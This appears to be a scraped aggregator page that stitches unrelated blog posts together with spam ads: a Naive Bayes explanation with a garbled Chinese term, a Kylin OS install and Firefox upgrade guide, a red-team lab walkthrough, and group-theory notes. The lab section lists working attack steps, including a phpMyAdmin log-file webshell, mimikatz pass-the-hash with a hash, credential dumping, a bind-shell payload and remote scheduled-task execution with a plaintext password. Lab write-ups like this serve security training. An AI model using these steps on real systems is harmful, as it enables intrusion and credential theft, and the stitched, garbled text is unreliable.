  在樣本空間Ω下,事件A和事件B同時發生的聯合概率P(A∩B)也就是圖中A∩B部分佔樣本空間Ω的比率。來看一下條件概率P(A|B),也就是在事件B發生的前提下,事件A發生的概率,P(A|B)與P(A)的區別在哪裡?很明顯,是條件事件B。在維恩圖中怎麼理解呢?前文提到了樣本空間,這裏的重點就在於樣本空間的變化。在P(A)中,指的是A部分佔樣本空間Ω的比率;在P(A|B)中,有了一個前提,需要事件B先發生,也就是排除了原來樣本空間Ω中B部分以外的區域。換句話說,條件的存在意味着樣本空間的縮小,那麼P(A|B)也就是A∩B部分(事件A、B同時發生,包含了事件A發生)佔新的樣本空間B的比率。P(A)與P(A|B),除了樣本空間的變化,是否存在定量關係呢?這裏我們用公式看一下比率關係,用sizeA表示維恩圖中A所在部分。

  可以得到:

  哎,這就有意思了。通過公式的定量表示,我們可以看到事件A在附加了條件下,也就是樣本空間縮小的情況下,P(A)與P(A|B)存在一種定量關係。這裏大膽的把這個定量關係作為附加條件B之後的調整因子。其實這就是貝恭弘=叶 恭弘斯公式,只是換了一個角度進行理解,一千個讀者一千個哈姆雷特。

  在貝恭弘=叶 恭弘斯公式中,P(A)稱為先驗概率,P(A|B)稱為後驗概率。我的理解是這樣,先驗概率P(A)是在事件B發生之前,對A事件的一個判斷,一般來說是我們對數據所在領域的歷史經驗或者常識,這個經驗或者常識對該事件發生的概率難以量化,但我們可以對它進行假設;后驗概率P(A|B),是事件B發生之後,對事件A發生概率的重新評估。后驗概率也就可以理解成:后驗概率=先驗概率×調整因子,通過調整因子,讓預估概率更接近真實概率。

  寫到這裏,大概可以對聯合概率、條件概率、貝恭弘=叶 恭弘斯公式有個簡單的理解了,但是好像還沒有扯到生成模型什麼事,這就來扯一扯。

  在我的理解里,該算法需要拋棄判別模型中的“映射”思路。就是說要理解素樸貝恭弘=叶 恭弘斯算法,需要先丟掉“給出一個什麼樣的輸入特徵向量x,模型可以得到什麼樣的輸出結果y”這個直接判別的映射想法。說樸素貝恭弘=叶 恭弘斯算法是生成模型,實際上就是在判斷新的輸入實例x具體類別時,要通過訓練數據集中(x,y1)、(x,y2)這種具體組合在數據集中出現的概率,結合條件概率再去判斷x的類別是y1,還是y2的哪種可能性大。在上邊的一堆公式中,可以看到貝恭弘=叶 恭弘斯公式(7)的得來,依賴於公式(3)中的事件A和事件B同時出現的聯合概率。換句話說,我們要判斷新的輸入實例x的類別,數據集中的類別分別為y1、y2,類別y有自己的分佈規律。例如服從P(y1)=0.8、P(y2)=0.2的二項分佈,簡單來說,我們看到是y1的概率這麼大,直接把x的類別判斷為y1就是了。但貝恭弘=叶 恭弘斯不是這麼做的,因為每個實例x是不一樣的(實例x可能的情況有自己的分佈)。我們是不是可以根據x在已經確定的情況下,再去判斷類別y的條件概率呢?這就意味着樣本空間的縮小,在有條件的情況下,再去判斷y的類別,肯定要比什麼都不知道的情況做判斷要準確。也就是我們要找到x,y各個單獨事件的組合事件(x,y1)、(x,y2)在數據集中的分佈,用來調整類別y的先驗概率,得到有條件下的后驗結果。

 GitHub:https://github.com/wangzycloud/statistical-learning-method

 樸素貝恭弘=叶 恭弘斯算法

引入

  前邊說了一大堆亂七八糟的東西,形式化來講,樸素貝恭弘=叶 恭弘斯算法是基於貝恭弘=叶 恭弘斯定理和特徵條件假設的分類方法。對於給定的訓練數據集,首先是利用特徵條件獨立假設,學習輸入輸出的聯合概率分佈。然後基於該模型,對給定的輸入實例x,利用貝恭弘=叶 恭弘斯定理求出后驗概率最大的輸出類別y。本節有不少耐看的公式,第一次耐心看懂,之後就沒這麼晦澀了,接下來按照書中的順序記錄一下,包括樸素貝恭弘=叶 恭弘斯法的基本方法、后驗概率最大化的含義、參數估計和樸素貝恭弘=叶 恭弘斯算法。

基本方法

  首先是模型輸入、輸出情況的說明,輸入數據用n維特徵向量表示,這裏注意一下訓練數據集T,數據集T內的數據是由是由事件x,y同時發生的聯合概率分佈產生。

  實際上,學習到了聯合概率分佈P(X,Y),也就是學習到了生成一個數據(xn+1,yn+1)的方式,這就要我們把輸入實例xn+1和相應輸出類別yn+1當成一個整體來對待。接下來看一下條件概率分佈,我們知道輸入特徵向量不是一個單獨的數值,而是一系列特徵分量構成的向量,並且每個分量有不同的取值範圍,公式(4.2)反映了這一事實,這就影響到我們對聯合概率的求解。每個分量有不同的取值,不同取值的x與類別y構成同時發生的聯合事件,各個分量的排列組合結果是一個非常大的数字,直接根據樣本出現的頻率來估計參數是一個非常困難的事情。假如樣本的n個屬性都是二值的,則樣本空間將有2的n次方種可能的取值,在現實中,這個種類數往往大於訓練樣本,一些可能的取值在訓練集中並不會出現。

  這裏我們看一下條件獨立性假設,實際上就是說,我們強行認為特徵向量x的各個分量之間是獨立的,相互之間不能有影響,就算有影響,我們也不考慮進來。也就是假設每個分量屬性獨立的對分類結果產生影響,這是一個很強的假設,通過這個假設,參數求解變得可行,這也是樸素貝恭弘=叶 恭弘斯“樸素”的由來。其中,需要估計的參數數量大大減少:

  由此,我們可以將各個分量看作生成數據的不同階段,應用乘法公式得到公式(4.3),也就是各獨立變量的聯合分佈=各獨立變量先驗概率的乘積。文中提到的條件獨立性這一假設,使得樸素貝恭弘=叶 恭弘斯法變得簡單,但會犧牲一定的分類準確性。

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

  在有了聯合概率、條件概率、獨立性假設的前提下,在應用公式(4.4)-公式(4.6)后,可以得到最終的樸素貝恭弘=叶 恭弘斯分類器,即公式(4.7)。

后驗概率最大化

  該部分從期望風險最小化的角度,闡述樸素貝恭弘=叶 恭弘斯的原理,也就是為什麼輸出y的分類要取后驗概率最大的類。這裏存疑,開學后搞起~已找到合適資料,到實驗室整理出來就好了。

樸素貝恭弘=叶 恭弘斯法的參數估計

  先驗概率P(Y)表示了樣本空間中事件Y各個類別所佔的比例,根據大數定律,當訓練集包含足夠多的樣本時,P(Y)可以通過各事件出現的頻率來估計。

  對於各獨立變量的條件概率參數,也是通過極大似然估計得出。

貝恭弘=叶 恭弘斯算法

  算法流程圖:

貝恭弘=叶 恭弘斯估計

  通過極大似然估計法,我們計算出了該數據集內輸入特徵x各個屬性獨立性假設下的條件概率。而如果待預測實例的某個屬性值沒有在訓練集中出現過,根據公式(4.9)計算條件概率就會出現概率值為0的情況。無論該實例的屬性如何,根據連乘公式,最終的類別概率都為0,無法做出判斷。針對這種情況怎麼避免呢?對分母分子進行修正,這就是貝恭弘=叶 恭弘斯估計(實際上就是分子分母同時加上一個常數,避免0的情況)。

理解貝恭弘=叶 恭弘斯的一個小例子

  醫院里出現了一例尚未確診的肺炎患者(疑似狀態),猜測他被感染的原因可能是:

  (1)   華南海鮮市場吃過海鮮

  (2)   去武漢旅行剛回來

  (3)   同其它患者密切接觸過

  根據其它人的確診結果,我們知道如果去海鮮市場吃過海鮮,有70%幾率會確診;去武漢旅行的人有60%的幾率確診;同其它患者密切接觸過的話,有50%的幾率確診。現在他昏迷了,根據他體溫及肺部CT病症嚴重程度,猜測這三種原因的可能性概率分別為50%、30%、20%。那麼,如果現在核酸試劑結果為陽性,被確診了。在已知確診的條件下,考慮是哪種原因造成了感染?

  由全概率公式,我們可以得到確診、疑似的概率分別是:

  由貝恭弘=叶 恭弘斯公式,在確診的條件下,三種可能性的大小被調整為:

  在已經確診的條件下,比較三者的后驗概率,可以得到該患者因吃海鮮被感染的可能性最大。執果索因,簡單講就是將結果考慮到發生原因的評估上,對前期評估進行調整。

代碼效果

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

虛擬機安裝中標麒麟桌面版7.0系統 + 升級Firefox瀏覽器_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

背景

由於公司業務(政府項目)需要走國產化路線,需要把原來已有的產品在國產的系統進行測試。目前選擇的是中標麒麟系統,這是一款國產系統,界面 UI 和 window 類似,系統內核使用的是 Linux 的,說白了就是 window + linux 的結合體。

在虛擬機中安裝中標麒麟系統

準備工作

  • 虛擬機軟件:VMware12

  • 系統鏡像:中標麒麟系統7.0

  • Firefox瀏覽器:Linux版本Firefox52

  • 軟件下載導向:VMware12 提取碼:5ijj、 中標麒麟桌面版7.0 提取碼:e6fp 、Linux版本Firefox52

虛擬機安裝

這裏虛擬機安裝沒什麼好講的了,拿到安裝包,一直下一步就可以了,上面已經提供了虛擬機的下載鏈接。

安裝教程可以參考:https://blog.csdn.net/lx940112/article/details/80159509

中標麒麟系統安裝

先從上面提供的鏈接下載對應的鏡像文件,然後在本機把虛擬機軟件安裝好。

  • 打開虛擬機軟件,點擊【創建新的虛擬機】
  • 進入新建嚮導,選擇對應的選項,一直下一步即可,如下圖:

  • 進入虛擬機后安裝麒麟系統,如下圖:

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

  • 軟件安裝完成之後,退出然後重啟系統,進入用戶時間的設置,如下圖:

到此,在虛擬機中安裝中標麒麟系統就完成了。

系統自帶Firefox-45升級到Firefox-52

Linux桌面版系統自帶的瀏覽器一般都是Firefox 因為業務的需求,要用Firefox52以上的版本,目前系統自帶的版本不滿足需求,需要升級。

  • 1、下載好最新版本火狐瀏覽器安裝包,上面有下載鏈接,上傳到麒麟系統,路徑自己選。

  • 2.在目錄解壓 Firefox-52.0.tar.bz2。

tar -xjvf  Firefox-52.0.tar.bz2

解壓後會生成一個 firefox 的文件夾,裏面有最新版本的 firefox 的二進制可執行文件,以及各種擴展模塊,插件等等。

  • 3.刪除系統默認自帶的舊版 firefox ,在 /usr/lib64 目錄下。
rm -rf /usr/lib64/firefox
  • 4.將你下載的新版解壓后的 firefox 文件夾複製到 /usr/lib64 目錄下。
mv /usr/firefox /usr/lib64
  • 5.刪除或備份移除原始 /usr/bin 目錄下的 Firefox 文件(這裏進行備份)

    mv /usr/bin/firefox /usr/bin/firefox.bak
    
  • 6.將安裝的新Firefox快捷方式放到 /usr/bin

ln -s /usr/firefox/firefox /usr/bin
  • 7.點擊原來的Firefox圖標打開瀏覽器

升級前:

升級后:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

ATT&CK紅隊評估實戰靶場(一)_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

靶機下載地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
攻擊拓撲如下

0x01環境搭建
配置兩卡,僅主機模式192.168.52.0網段模擬內網,192.168.72.0網段模擬外網
Kali linux IP 192.168.72.131
win7 IP 192.168.72.130/192.168.52.143
win2003 IP 192.168.72.141
DC 2008 IP 192.168.52.138

0X02信息收集
用nmap找到外網IP地址
netdiscover -i eth0 -r 192.168.72.0/24

御劍掃目錄掃到後台
掃到目錄http://192.168.72.130/phpmyadmin/
弱口令root /root進入後台

0x03phpmyadmin後台getshell
show variables like ‘%general%’; #查看日誌狀態

SET GLOBAL general_log=’on’

SET GLOBAL general_log_file=’C:/phpStudy/www/233.php’ 設置路徑

SELECT ‘ ‘ //寫入一句話木馬

getshell
http://192.168.72.130/233.php

0x04權限提升
直接用Cs的腳本ms14-068提權

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

0x05內網信息收集
把webshell轉換成cs上線

ipconfig /all

hashdump看一下密碼

再用mimikatz抓一下明文密碼,抓到hongrisec@2020

shell net user /domain
查看域內用戶
使用lodan掃描內網網絡

使用lazagone.exe 抓取本機所有密碼

抓到了很多win7機器上的密碼

用Msf的這個模塊可以判斷目標機器上面裝了那些軟件
run post/windows/gather/enum_applications 使用這個之後發現win7(雙網卡機器)上有一個現成的nmap
直接用beacon下的nmap去掃描DC的漏洞 shell nmap –script=vuln 192.168.52.138 發現域控存在ms17-010

這裏其實已經可以直接去用Msf打域控的17010了

0x06MSF與CS聯動
新啟一個監聽,用foriereverse_tcp,然後msf開始監聽端口,成功轉接cs的shell

查看當前網段並添加路由

0x07配置msf代理

之前掃描的是DC,先看一下2003有沒有漏洞,掃一下141,其實不掛代理也行,win7裏面有一個Nmap,這裏要注意socks代理不支持icmp協議
proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 –script=smb-vuln-ms17-010.nse 192.168.52.141

0x08兩種拿下2003
因為已經知道了漏洞,直接永恆之藍打過去了

PTH方法
選擇之前生成的那個smb beacon 然後在用哈希傳遞的方法,域內管理員的賬號直接登錄

192.168.52.141成功上線

0x09票據+計劃任務拿DC
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141

shell dir \192.168.52.138\c$ //dir DC的目錄

生成一個exe馬
這裏用windows/reverse_bind_tcp LHOST=0.0.0.0 LPORT=7777 生成正向的馬 yukong.exe
把馬複製到域控機器上shell copy C:\yukong.exe \192.168.52.138\c$
然後再用這個寫入計劃任務的方法去連接,這裏馬反彈會連不成功,所以
shell schtasks /create /tn “test” /tr C:\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p “hongrisec@2020”
掛着win7代理 proxy nc -vv 192.168.52.138 7777 即可彈回DC138的shell
用Meterpreter的馬也可以,之前失敗了,後續還是改成meterpreter的馬,或者把普通shell再升級成meterpreter再導入cs也可以
馬上線之後清除計劃任務schtasks /delete /s 192.168.52.138 /tn “test” /f

本靶場有很多地方都可以打成功,可以自己嘗試一下。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

離散數學 II(最全面的知識點匯總)_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

離散數學 II(知識點匯總)

目錄

  • 離散數學 II(知識點匯總)
    • 代數系統
      • 代數系統定義
        • 例子
      • 二元運算定義
    • 運算及其性質
      • 二元運算的性質
        • 封閉性
        • 可交換性
        • 可結合性
        • 可分配性
        • 吸收律
        • 等冪性
        • 消去律
      • 特殊的元素性質
        • 幺元
        • 零元
        • 逆元
          • 證明逆元且唯一定理
      • 二元運算表中性質的體現
    • 半群
      • 廣群
        • 成立條件
      • 半群
        • 定義
        • 特性
        • 子半群
      • 獨異點
        • 成立條件
        • 特性
      • 證明是半群或獨異點
    • 群和子群
        • 定義
        • 階數、有限群、無限群
          • 1階、2階、3階、4階群
        • 特性
          • 冪特性
          • 運算表特性
        • 運算
        • 子群
          • 定義
          • 判定條件
          • 性質
          • 平凡子群
          • 中心
          • 共軛子群
    • 阿貝爾群和循環群
      • 阿貝爾群 / 交換群
        • 定義
        • 判定
      • 循環群
        • 定義
        • 特性
        • 元素的階
          • 定義
          • 性質
        • 子群性質
    • 置換群和伯恩賽德定理
      • 置換
        • 成立條件
        • 運算
      • 置換群
        • 定義
        • 對稱群
        • 交錯群
        • 輪換
          • 定義
          • 記法
          • 對換
            • 定義
            • 性質
        • 誘導的二元關係
          • 定義
          • 性質
        • 三元素集的置換群
          • 對稱群
          • 交錯群
      • 伯恩賽德定理
    • 陪集和拉格朗日定理
      • 陪集
        • 定義
        • 性質
      • 特殊關係
        • 劃分
        • 等價關係
        • 等價類
        • 商集 A/R
      • 子群的指數
      • 拉格朗日定理
        • 推論
    • 正規子群和商群
      • 正規子群 / 不變子群
        • 定義
        • 判別
        • 單群
        • 性質
      • 商群
        • 運算
        • 定義
        • 性質
        • 推論
    • 同態與同構
      • 同態映射 / 同態 ~
        • 定義
        • 同態象
        • 自然同態
        • 分類
          • 同構
            • 凱萊定理
        • 自同態 / 自同構
      • 同態映射性質
      • 同態核
        • 定義
        • 性質
      • 同態基本定理
      • 第一同構定理 / 商群同構定理
    • 環與域
      • 定義
        • 零元
        • 單位元
        • 負元
        • 逆元
      • 例子
      • 性質
      • 特殊環
        • 交換環
        • 含幺環
        • 無零因子環
          • 零因子
      • 整環
        • 定義
      • 子環
        • 定義
        • 判定定理
        • 定義
        • 例子
      • 域與整環的關係
      • 環的同態定義
        • 分類
        • 同態像及其特性
          • 綜合例題

代數系統

代數系統定義

一個非空集合A,連同若干個定義在該集合上的運算f1,f2,…,fk,所組成的系統就稱為一個代數系統,記作<A, f1,f2,…,fk >。

例子

例:<N,+>,<Z,+,·>,<R,+,·>都是代數系統,其中+和·分別表示普通加法和乘法。
例:<Mn(R),+,·>是代數系統,其中+和·分別表示n階(n≥2)實矩陣的加法和乘法。
例:<ρ(S),∪,∩,~ >也是代數系統,其中含有兩個二元運算∪和∩以及一個一元運算 ~。

二元運算定義

S為非空集合,從S×S->S的映射: f: S×S->S稱為集合S上的一個二元運算。

運算及其性質

二元運算的性質

封閉性

  • Premise:\(*\)是定義在集合A上的二元運算, \(\forall\ x,y\in A\)
  • Condition:\(\ x*y\in A\)
  • Summary:\(*\)在A上是封閉的

可交換性

  • Premise:\(*\)是定義在集合A上的二元運算, \(\forall\ x,y\in A\)
  • Condition:\(x*y=y*x\)
  • Summary:\(*\)在A上是可交換的

可結合性

  • Premise:\(*\)是定義在集合A上的二元運算, \(\forall\ x,y,z\in A\)
  • Condition:\((x*y)*z=x*(y*z)\)
  • Summary:\(*\)在A上是可結合的

可分配性

  • Premise:\(*,\triangle\)是定義在集合A上的二元運算, \(\forall\ x,y,z\in A\)
  • Condition:\(x*(y\triangle z)=(x*y)\triangle (x*z)\)\((y\triangle z)*x=(y*x)\triangle (z*x)\)
  • Summary:在A上,\(*\)對於$\triangle $是可分配的

吸收律

  • Premise:\(*,\triangle\)是定義在集合A上的二元運算, \(\forall\ x,y\in A\)
  • Condition:\(x*(x\triangle y)=x\)\(x\triangle (x*y)=x\)
  • Summary:\(*\)和$\triangle $在A上滿足吸收律

等冪性

  • Premise:設\(*\)是定義在集合A上的二元運算, \(\forall\ x\in A\)
  • Condition:\(x*x=x\)
  • Summary:\(*\)在A上是等冪的

消去律

  • Premise:設\(*\)是定義在集合A上的二元運算, \(\forall\ x,y,z \in A\)
  • Condition:(左消去律)\(x*y=x*z\Rightarrow y=z\)、(右消去律)\(y*x=z*x\Rightarrow y=z\)
  • Summary:\(*\)在A上是滿足消去律的

特殊的元素性質

\(*\)是定義在集合A上的二元運算

幺元

  • 左幺元:對於\(e_l\in A,\ \forall\ x\in A,\ e_l*x=x\)
  • 右幺元:對於\(e_r\in A,\ \forall\ x\in A,\ x*e_r=x\)
  • 幺元:對於\(e\in A\)\(e\)既是左幺元又是右幺元

零元

  • 左零元:對於\(\theta_l\in A,\ \forall\ x\in A,\ \theta_l*x=\theta_l\)
  • 右零元:對於\(\theta_r\in A,\ \forall\ x\in A,\ x*\theta_r=\theta_r\)
  • 零元:對於\(\theta\in A\)\(e\)既是左零元又是右零元

逆元

設在代數系統\(<A,*>\)中,\(*\)為二元運算,e為A中關於\(*\)的幺元,\(a,b\in A\)

  • 左逆元\(b*a=e\),則b為a的左逆元
  • 右逆元\(a*b=e\),則b為a的右逆元
  • 逆元:b​既是a的左逆元又是右逆元,則b為a的逆元,記為a^-1^
    • 此時有a與b互為逆元
證明逆元且唯一定理
  • Premise:\(\forall\ a\in A\),e為A的逆元,\(*\)為A的二元運算
  • Condition:a都有左逆元,\(*\)可結合
  • Summary:a的左逆元為a的逆元且唯一

二元運算表中性質的體現

\(*\)是定義在集合A上的二元運算

  • 封閉性\(\Leftrightarrow\)運算表中所有元素\(\in A\)
  • 可交換性\(\Leftrightarrow\)運算表中所有元素沿對角線對稱
  • 等冪性\(\Leftrightarrow\)運算表中主對角線元素等於本身
  • 零元\(\Leftrightarrow\)該元素運算行列元素與其本身相同
  • 幺元\(\Leftrightarrow\)該元素運算行列元素與其對應的行列元素一致
  • 逆元\(\Leftrightarrow\)兩元素行列相交處都是幺元

半群

廣群

成立條件

  • \(*\)運算封閉

半群

定義

  • \(*\)運算封閉
  • \(*\)運算可結合

特性

  • A元素有限,則必有等冪元

證:

∵ <S, *>是半群,∴對於\(\forall\)b \(\in\)S,由運算*封閉可知:
b^2^=b*b\(\in\)S,b^2^ *b=b*b^2^=b^3^\(\in\)S ,b^4^,b^5^… \(\in\)S
∵ S有限,∴必定\(\exists\)i,j,j>i,有b^i^=b^j^(第一輪)
∴ b^i^ =b^j^ =b^j-i^ * b^i^
令p=j-i ,則有 b^i^ =b^p^ * b^i^
∴ 對任意q≥i, 有b^q^= b^p^ *b^q^ (第二輪)
又∵p≥1 ∴$\exists $k,有kp≥i,則有b^kp^=b^p^ *b^kp^ (第三輪)
由b^kp^=b^p^ *b^kp^得: b^kp^=b^p^ *b^kp^=b^p^ *(b^p^ *b^kp^)=…=b^kp^ *b^kp^
∴令a=b^kp^ \(\in\)S 則a*a=a,∴b^kp^是等冪元。

子半群

  • \(B\subseteq A\)
  • \(*\)在B上運算封閉

獨異點

成立條件

  • 為半群
  • 含幺元

特性

  • 運算表任意兩行兩列都不相同

證:

設獨異點中幺元為e,對於任意 a,bS且a≠b,總有
(1)∵a*e=a ≠ b=b*e
由a,b任意性, 有<S, *>運算表中任兩行不同;
(2)∵e*a = a ≠ b = e*b
由a,b任意性,有<S, *>運算表中任兩列不同。

  • 若a,b均有逆元,則
    • \((a^{-1})^{-1}=a\)
    • \(a*b\)有逆元,且\((a*b)^{-1}=b^{-1}*a^{-1}\)

證:

a) ∵a^-1^是a的逆元

​ ∴a^-1^既是a的左逆元又是a的右逆元

​ 即:a^-1^ *a=a *a^-1^=e

​ ∴a既是a^-1^的右逆元又是a^-1^的左逆元,

​ ∴ a是a^-1^的逆元 即(a^-1^)^-1^=a

b) 要證(a *b)^-1^=b^-1^ *a^-1^,即證b^-1^ *a^-1^為a*b的逆元。

∵(a*b) *(b^-1^ *a^-1^)=a* (b*b^-1^) *a^-1^=a*e*a^-1^=e

∴b^-1^ *a^-1^是a*b的右逆元,

又∵(b^-1^ *a^-1^)*(a *b)=b^-1^ *(a^-1^ *a)*b=e

∴b^-1^ *a^-1^是a*b的左逆元,

∴(a*b)^-1^=b^-1^ *a^-1^

證明是半群或獨異點

按定義證明

群和子群

定義

  • 運算封閉
  • 可結合
  • 存在幺元e
  • 對於每一個元素\(x\in G\),存在逆元$x^{-1}

階數、有限群、無限群

如果\(<G,*>\)為群且元素有限,則稱為有限群,元素個數稱為群的階數,否則稱為無限群

1階、2階、3階、4階群

1~4階都有循環群,可以用mod運算推

4階還有克萊因四元群,如下

* e a b c
e e a b c
a a e c b
b b c e a
c c b a e

特性

  • 階大於1的群中不可能有零元

證:

(1)當群的階為1時,它的唯一元素視作幺元e;

(2)設|G|>1且群<G, *>中有零元q,那麼群中

​ ∀x∈G,*都有q*x=x*q=q ≠ e

所以零元q不存在逆元,這與<G, *>是群矛盾。

  • $\forall\ a,b\in G,\ \exists\ \(唯一的\)x,\ a*x=b$

證:

(1)存在性
設群<G, *>的單位元為e,令x=a^-1^ *b, 則
a*x=a*(a^-1^ *b)=(a*a^-1^) *b=e*b=b
所以x=a^-1^ *b是方程a*x=b的解。
(2)唯一性
若還有x′∈G, 使得a*x′=b, 則
x′=e*x′
=(a^-1^ *a)*x′=a^-1^ *(a*x′)=a^-1^ *b=x
故x=a^-1^ *b是方程a*x=b的唯一解。

  • 滿足消去律

證:

a*b=a*c

$\Rightarrow $ a^-1^ *(a*b)=a^-1^ *(a*c)

$\Rightarrow $ (a^-1^ *a) *b=(a^-1^ *a)*c

$\Rightarrow $ e*b=e*c

$\Rightarrow $ b=c

冪特性
  • 除了幺元外,不存在其他等冪元
  • 關於逆元,群中任一元素逆元唯一,且有:
    • \((a^{-1})^{-1}=a\)
    • \((a*b)^{-1}=b^{-1}*a^{-1}\)
    • \((a^{n})^{-1}=(a^{-1})^n=a^{-n}\)

證:

已學定理5-2.4:設代數系統<A, *> , A中存在幺元e,且$\forall $x∈A,都存在左逆元,若*是可結合的運算,那麼<A, *> 中任何一個元素的左逆元必定也是該元素的右逆元,且每個元素的逆元唯一。

證明:

∵群滿足結合律,且群中每個元素都有逆元,

∴每個元素都有左逆元,

∴每個元素的逆元唯一。

運算表特性
  • 每一行與每一列都是G元素的一個置換,沒有相同元素
  • 運算表中任意兩行或者兩列都不相同

運算

AB={ab|a∈A,b∈B}
A^-1^={a^-1^|a∈A}
gA={ga|a∈A}

子群

記為H\(\leq\)G,真子群記為H<G

定義
  • 為一個群的非空子集
  • 也為群
判定條件
  1. 非空\(S\subseteq G\),且S也是群
  2. 非空\(S\subseteq G\),G為有限群,S中運算封閉
  3. 非空\(S\subseteq G\),有\(a*b^{-1}\in S\)
性質

若<H, *>和<K, *>為<G, *>子群,則

  • <H\(\cap\)K, *>也是子群
  • <H\(\cup\)K, *>是子群 當且僅當 H\(\subseteq\)K或K\(\subseteq\)H
  • HK是子群 當且僅當 HK=KH
平凡子群

\(S=\{e\}\quad OR\quad S=G\)

中心

對於\(C=\{y|y*a=a*y,y\in G\}\),則<C, *>為子群,稱為G的中心

共軛子群

若H為G子群,則xHx^-1^={x*h*x^-1^|h ∈H}也是G的子群,稱xHx^-1^是H的共軛子群

阿貝爾群和循環群

阿貝爾群 / 交換群

定義

  • 是群
  • \(*\)可交換

判定

  • 是群,且\(\forall\ a,b\in G,\ (a*b)*(a*b)=(a*a)*(b*b)\)

證:

充分性 即證a*b=b*a。
∵ (a*b)*(a*b)=(a*a)*(b*b) 且<G,*>是群,*可結合
∴ a*(b*a)*b=a*(a*b)*b
∴ a^-1^ *(a*(a*b)*b)*b^-1^=a^-1^ *(a*(b*a)*b)*b^-1^
即有:a*b=b*a, ∴ <G,*>是阿貝爾群。
必要性 ∵ <G,*>是阿貝爾群,
∴對∀a,b∈G,有:a*b=b*a
∴ (a*b)*(a*b)=a*(b*a)*b=a*(a*b)*b=(a*a)*(b*b)

循環群

定義

\(\exists\ a\in G,\ \forall\ b\in G\),b都能表示成a的冪,a稱為生成元

特性

  • 是阿貝爾群
  • 如果是有限群,階數為n,則
    • 幺元為a^n^
    • \(\psi(n)\)個生成元,(歐拉函數,表示小於n且與n互質的正整數個數)
    • G的其他生成元即\(a^k\),k與n互質
  • 若階數無限,則只有兩個生成元e和e^-1^

元素的階

定義

最小正整數k使某一元素\(a^k=e\),則k為a的階(周期)

性質
  • a^k^=e \(\iff\) r | k

    (k是r的整數倍,即存在整數m,使得k=rm )

證:

充分性:r | k \(\Rightarrow\) a^k^=e

設 r | k,則存在整數m,使得k=rm,

​ a^k^= a^rm^=(a^r^)^m^=e^m^=e

必要性:a^k^=e \(\Rightarrow\) r | k

若a^k^=e,由帶余除法,一定存在整數p,q,使得

k=pr+q(0≤q<r),於是a^k^=a^pr+q^=a^pr^ *a^q^=(a^r^)^p^ *a^q^ =(e)^p^ *a^q^ =e*a^q^ =a^q^ =e (a^k^=e)

∵ r是a的階,即使得a^r^=e的最小正整數

∴只有q=0才可能有a^q^ =e, ∴ k=pr 即r | k。

  • O(a)= O(a^-1^)(元素與其逆元的階相同)

證:

O(a)= O(a^-1^)(元素與其逆元的階相同)

證:∀a∈G,a的階為r, a^-1^的階為r’,

則 (a^-1^)^r’^=e ,a^r^=e

∵ (a^r^)^-1^ *a^r^=e 且a^r^=e,
∴ (a^r^)^-1^=e( (a^r^)^-1^與e做運算=e,則(a^r^)^-1^必=e)
由紅色部分可得(a^r^)^-1^=(a^-1^)^r’^=e-----①
∵ <G,*>是群,即(a^n^)^-1^=(a^-1^)^n^成立,則
(a^r^)^-1^=(a^-1^)^r^ 成立-----②
由①②可得,(a^-1^)^r^ =(a^-1^)^r’^=e
∵ 已知r’是a^-1^的階,即r’是使得(a^-1^)^k^ =e的最小正整數,
∴ r=mr’(m為正整數),即r’|r。 (定理中的(1)剛證明過)
同理可證r|r’。
(a^-1^)^r’^= (a^r’^)^-1^=e
∵ (a^r’^)^-1^ * a^r’^=e
∴ a^r’^=e
∵ 已知r是a的階,即r是使得(a)^r^ =e的最小正整數,
∴ r’=mr (m為正整數),即r|r’ .由r’|r與 r|r’即可證得r=r’。

  • r ≤ |G|(元素的階一定小於等於群的階)

證:

一個元素a, a的階是r,且r>|G|,則由a可生成一個集合S={a,a^2^,a^3^,…,a^r-1^,a^r^},因為運算*封閉,所以S⊆G, 則S的元素個數小於|G|.
然後證明a,a^2^,a^3^,…,a^r-1^,a^r^各不相同。
若不然,假設S中存在兩個元素相同:
